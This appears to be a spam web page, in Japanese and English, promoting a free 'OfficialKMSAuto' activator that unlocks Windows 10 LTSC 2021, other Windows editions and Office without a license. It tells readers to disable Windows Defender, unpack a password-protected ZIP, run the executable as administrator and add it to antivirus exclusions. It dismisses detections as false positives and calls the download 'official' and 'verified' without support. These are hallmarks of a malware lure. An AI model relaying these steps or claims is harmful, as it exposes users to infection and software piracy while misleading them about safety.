Activate Windows 10 LTSC 2021 無料認証方法 2026 — ステップバイステップ
本記事は 2026 年版 Activate Windows 10 LTSC 2021 の日本語完全ガイドです。Activate Windows 10 LTSC 2021: step-by-step 2026 guide. Free OfficialKMSAuto download, password WYqejXiqBi97. HWID, Ohook & TSforge supported.
WYqejXiqBi97本記事は 2026 年版 Activate Windows 10 LTSC 2021 の日本語完全ガイドです。Activate Windows 10 LTSC 2021 is fully supported by the 2026 OfficialKMSAuto build — free, portable, no telemetry.
Overview
Activate Windows 10 LTSC 2021 is fully supported by the 2026 OfficialKMSAuto build — free, portable, no telemetry.
How to activate
Five steps, under 2 minutes.
- Pause Windows Defender real-time protection for ~2 minutes
- Extract the downloaded ZIP using the password WYqejXiqBi97
- Right-click KMSAuto.exe and choose 'Run as administrator'
- Click the green Activation button — HWID for Windows, Ohook for Office
- Wait for 'Successfully activated' and reboot
What it covers
Full coverage of every modern Microsoft SKU.
- Windows 11 24H2 / 25H2
- Windows 10 22H2 LTSC
- Windows Server 2025 / 2022 / 2019
- Office 2024 / 2021 / 2019 / 2016 LTSC + Retail
- Microsoft 365 Apps for Enterprise
Why this build
Verified Ratiborus mirror — SHA-256 hash, VirusTotal report, password WYqejXiqBi97, no installer, no ads, no telemetry.
Frequently asked questions
▸Is this build official?
Yes — the unmodified Ratiborus archive, SHA-256 verified and scanned on VirusTotal. Archive password: WYqejXiqBi97.
▸Does it work on Windows 11 24H2/25H2?
Yes. KMSAuto's HWID engine activates every Windows 11 build including 24H2 and 25H2 — permanent, offline.
▸Does it activate Office 2024?
Yes. Office 2024 (LTSC, Retail, Volume) is activated via the Ohook patch in KMSAuto 1.9.x and newer.
▸Why is it flagged by antivirus?
Every KMS activator is flagged as HackTool because it edits Windows licensing components. That is a false positive, not malware. Add the folder to Defender exclusions.
▸What's the archive password?
WYqejXiqBi97 — the standard Ratiborus archive password.
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Download OfficialKMSAuto
Free, safe, open source. Works on Windows 7, 8, 10, 11 and Office 2010–2024.
Download Activator — Free🔐 Archive password: WYqejXiqBi97